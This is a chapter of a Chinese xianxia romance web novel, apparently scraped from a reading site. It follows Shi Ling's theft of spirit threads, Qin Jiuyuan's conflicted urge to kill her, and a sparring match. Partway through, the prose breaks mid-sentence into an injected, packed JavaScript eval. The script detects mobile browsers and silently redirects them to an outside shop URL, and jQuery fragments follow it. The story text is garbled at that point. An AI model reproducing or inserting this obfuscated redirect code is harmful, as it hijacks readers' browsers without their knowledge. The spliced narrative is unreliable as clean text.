12. 滑落

作品:《误把魔头当娇花

    “尊上?”


    叶雪正要拔刀,却被秦九渊制止,“术法还在。”


    施灵只窥见一片漆黑,不解地挠头。


    “奇怪,明明刚才还有动静。”


    夜间多猛兽出没,她没敢多停留。


    只管快些离去。


    这几日,秦九渊中毒的事闹得沸沸扬扬,众弟子都在查到底是谁下的毒,根本顾及不了旁人。


    于是,施灵打算亲自护送灵线。


    取货人都打点好了,她这次特意绕开了灵剑宗的人,定然万无一失!


    库房布置在院子偏远的山坡上,她只花了半刻钟,就走到了门口。


    四处无人,唯有被厚雪压弯的枝条弹了又弹,不断惊飞栖息的鸟雀。


    施灵蹑手蹑脚掏出一把金钥匙。


    “咔嚓”声响,半敞的大门卷起一地尘土,一束强光打到红箱子上,金灿灿快晃瞎了眼。


    施灵愣在原地。


    这么多灵石,为何灵剑宗不修缮一下房屋?


    她摇了摇头,决计不去想这些。


    上次找王贵讨要灵线,她说好奇想看看。这次要再被人发现,有一百张嘴都说不清啊。


    好在老天爷眷顾,不消多时,她找到一个小木盒子。


    正好五根灵线。


    施灵压下嘴角的笑意,将它收入囊中,又紧着步子小心翼翼退出屋子,确认锁好后正要转身——


    “夫人?”


    “啊!”施灵惊如弹弓,刚抬眼就对上叶雪冷淡的脸。因着背撞墙面,她瞬间回神,缓缓吐出口气。


    “事、事情办完了?”


    今日她算准了叶雪出远门,起码要一个时辰,这才一刻钟不到。


    “忘了提醒夫人一句。”叶雪分明是笑着的,双眼却蓄满冷雾,“近日还是少出门点为好。”


    施灵发懵,怎么如临大敌一样?


    就算叶雪与王贵私底下有谋划,顶多图些财物灵宝,不至于拿命开玩笑吧。


    叶雪轻咳声,“掌门要回来了。”


    施灵又想,掌门回来关她什么事?


    猝不及防,脑海冒出一连串信息,惊得她一颤一颤。


    原来她与秦九渊这桩婚事,竟不是掌门亲自定下的,而是灵剑宗众长老私底的谋划。


    要说这灵剑宗掌门秦世,痛失爱妻后终身未娶,常四海云游。只因亡妻所托,他对秦九渊本人并不重视,反倒极其关心他的婚事。


    之前不少宗门想要攀附灵剑宗,都被他毫不留情地拒之门外。


    如今竟与斗了百年的七毒宗联姻。


    对她来说,简直就是地狱开局啊!


    原主虽对秦九渊极度厌恶,但人情世故拿捏得那叫一个到位,时不时送宝物给灵剑宗长老……


    与之相比,她就是颗小白菜,别说应付秦世,就是那些弟子,都能往她头上踩一脚!


    施灵颇为苦恼,但也只好点点头。


    再抬头时,叶雪已走远。


    她自顾自地回房,正想着如何应付这尊突如其来的祖宗。


    一道雪白色身影迎面走来。


    竟是秦九渊。


    那淡然的眼神不似兴师问罪,应是偶遇,施灵定了定心,却听他道:


    “常墨捉了一个贼。”


    施灵冷不防想起刚才的事,心虚极了,“夫君莫怕,我帮你教训教训他!”


    她撸起袖子,“在哪?”


    “唰!”一道黑影疾风般闪来,只听得一阵叫痛声,那人皮球似的滚落几圈,险些碰到她的脚。


    施灵本有些好奇,看清那人的脸时,浑身汗毛都炸开了。


    那''贼''眼巴巴望着她,像受了天大的委屈,眼见伸手扯她裙摆,被常墨扯回。


    “还好发现得及时,才没叫他得逞。”


    按理说,施灵应该表现得感激不已。


    但此刻,她真的一个笑都挤不出了。


    谁能告诉她——


    她暗中安排送灵线的人,怎么会跑到这里?!


    灵剑宗两张大门隔着十万八千里,就算是个瞎子,遇到常墨这狠角色也知道绕路走吧?


    施灵还未回神,常墨却动了。


    他慢慢从腰侧抽出一条极长的骨鞭,满是倒刺。就这一大拉子鞭子甩去,焉能有命?


    “少主。”


    秦九渊风轻云淡,一个眼神示意,似是等得不耐了,“嗯。”


    常墨得到首肯,手法也带着弑杀之气,正要扬鞭抽去——


    “等等!”


    施灵见他未停,再也忍不住挡在那人面前,“七毒宗正好缺一批控蛊的灵线,是我擅自主张,找王管事要的库房钥匙。”


    “他只是个送货的,要罚就罚我好了!”


    一时间,她听到几道抽气声。


    是碰巧路过的弟子。


    施灵认命地闭了闭眼,她确实怕痛,但人家是替她办事,哪有当缩头乌龟的道理?


    冷风吹来,卷起的竹叶刀片似的刮过她发丝、脸颊、最终悬在冒汗的鼻尖上,心跳声撞得胸膛灼热。


    她轻瞥去,秦九渊冷得像一尊玉雕。


    不知为何,他视线始终停在她身后之人,却也未说什么。


    缄默良久,他终于转身走向书房。


    施灵像吃了颗定心丸,紧绷的神经总算松了下来。


    不过转念一想,他是真的生气了,至于这怒火发在谁的身上……答案不言而喻。


    心又悬了起来。


    她连忙寻了个角落,将灵线交予送货人,又给了几块中品灵石作为补偿,才了却此事。


    施灵忙完后,稳稳当当推开了书房的门。


    一道清冷的男声从头顶劈下,“掌门若回来,定会起疑。”


    施灵不解其意,只见桌上摆着本红色术法书,正是那日她选择的焚天诀。


    相比之下,竟厚了不少?


    秦九渊看出她心中所想,“之前的几式有所欠缺,如今补全了。”


    施灵翻了半晌,这才明白了他的意思。


    原来他想跟她做做夫妻恩爱的样子,所以教授她一些术法,免得掌门过问。


    她欣慰地笑了,不愧是好战友,想法竟与她如出一辙,甚至更加周全。


    施灵惊奇地瞅了他眼,恰巧被抓包,只好装模作样地读出声来:“焚天诀第一式,引灵入体……”


    她嘴皮子是动了,思绪却飘到了越明轩那边,也不知道事情办得怎么样了……


    想着想着,施灵只觉眼皮沉重,檀香惹人沉醉,浓烈的思绪搅作团,头一歪睡了过去。


    “沙沙沙。”


    风声吹开木窗,发出噼里啪啦的响声,愈演愈烈,被一只手撑住。


    秦九渊正要起身,衣袖被一根纤细指节轻轻勾住,分明柔缓,却将两人的距离拉得极近。


    近得能看清她脸上细小的绒毛,在白亮的阳光下,温热细软。


    秦九渊听着清浅起伏的女声,似抚平琴弦的掌心,方才那股躁动莫名消解,他不动声色地垂眸看去。


    施灵双眼轻阖,颤动的长睫沾满细碎金光,似下一瞬要睁眼与他对视。心像被烫了一遭,秦九渊退后半步。


    他后觉荒谬,她与上一世分明长得分毫不差,甚至有点不修边幅,为何他无端生出靠近之意?


    秦九渊几乎是瞬间想到——


    他一直想杀她。


    这点从未改变,只是此刻她过于放松,险些忘了他早已窥伺了许久。


    大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096115|195529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抵桌面太硬,施灵努嘴换个方向继续睡。一刹那乌黑发丝顺脖颈滑落,垂在腰肢间,雪白的皮肤暴露在空气中。


    熟悉的兰香飘来时,秦九渊呼吸莫名加重,捻紧指节,白皮下浮起的青筋突突鼓动。


    掌心痒地想勾住什么,他下意识摁紧那道剑痕,鲜血染红绷带,一时间痛痒交织。


    似嗅到花蜜的蜜蜂,他艰涩吞咽,不由自主地想碰她后颈,指尖快触到那一缕发丝——


    “哎呀,越明轩你别闹。”


    “啪嗒。”


    一块玉符从自施灵袖内滑落,上面赫然刻着万琴宗的标志,只是内容被销毁了。


    空气顷刻间凝滞。


    窗外光亮刺目,屋内却犹如乌云翻滚般可怖,仿若下一刻将所有吞噬殆尽。


    “咔嚓!”


    玉面破开一道几不可察的裂痕,就在黑气蔓延到施灵嫩白的指尖时,又被他硬生生克制。一股腥甜的血自胸膛闷出,难捱酸涩。


    秦九渊长睫掩盖眼底阴翳,嗓音如冷泉击石,每一字都从喉间挤出。


    “——万、琴、宗。”


    ……


    施灵起身时,秦九渊早已不见踪影,只觉肩头一沉,原是一件雪白的狐裘。


    她顿时吓了个清醒,等等,他的衣服怎么盖在了她身上?


    好在寒风将神志吹了回来。


    是了,表面功夫还是要做的。


    施灵松了口气叠好衣服,浑身却僵硬得像一块石头,手脚都被脑袋垫麻了。


    正好雪停了,倒是可以出去闲逛一小会。


    小亭下,几道白影轻挽剑花,震起翻飞的雪浪,犹如白鹤亮翅。


    她看得起劲,身后却突然传来一道陌生男音。


    “夫人,来活动活动筋骨?”


    施灵转身看去,是个年轻的外门弟子。


    换做以前,她定然推脱。


    但现如今不同了,这几日练习火术触发了更多原主的记忆。


    她笑意盈盈,“好啊,不过……”


    “第一,不使用灵力,第二,使用相同的武器,第三,谁先出圈谁输。”


    “十块中品灵石,赌不赌?”


    那弟子不以为然,“当然,夫人想选什么?”


    施灵神色高深,对着不远处的武器架遥遥一指,众人循着看去时,险些笑出声来。


    “木剑?”


    灵剑宗最拿手的武器都不用说了,七毒宗弟子分明擅长鞭,哪有往对手长处上撞的?


    况且单凭内力,男女差距何其之大。


    施灵却兀自拿起一柄剑,在手中掂量片刻,待那弟子站定,她直接迎风攻去。


    对方没想到她这般性急,悬停在半空的竹叶被剑光斩碎。他下腰躲过,手臂撑地时反掌猛拍剑柄。


    毫无征兆地,一道剑光夹带飓风朝施灵袭来。就在众人以为战斗结束,她却猛打猛攻,旋转的残影眼花撩乱。


    “砰砰砰!”


    那弟子攻来的木剑转眼被斩断,脚也退出了圈外。


    “这、这?”他愣在了原地,不少人也倒吸一口凉气,此局竟在半刻见了胜负。


    关键竟是施灵赢了?


    施灵伸手:“嘻嘻,灵石。”


    原主的剑术虽不是顶尖的,但对付几个新手,那还是绰绰有余。


    “不…我没输,你个练气算什么东西!”那弟子眼底腾起阴鸷,抬手凝出光剑,竟不分青红皂白地朝她砍来!


    这人怎么不讲武德?!


    修为悬殊,施灵被逼得急急后退,掌心磨出一道血痕。


    就在剑尖几近削过她脸颊的刹那,只听得清越剑鸣,一把冰蓝长剑裹挟着滔天杀气从她身侧擦过,发出震人发聩的碰撞声!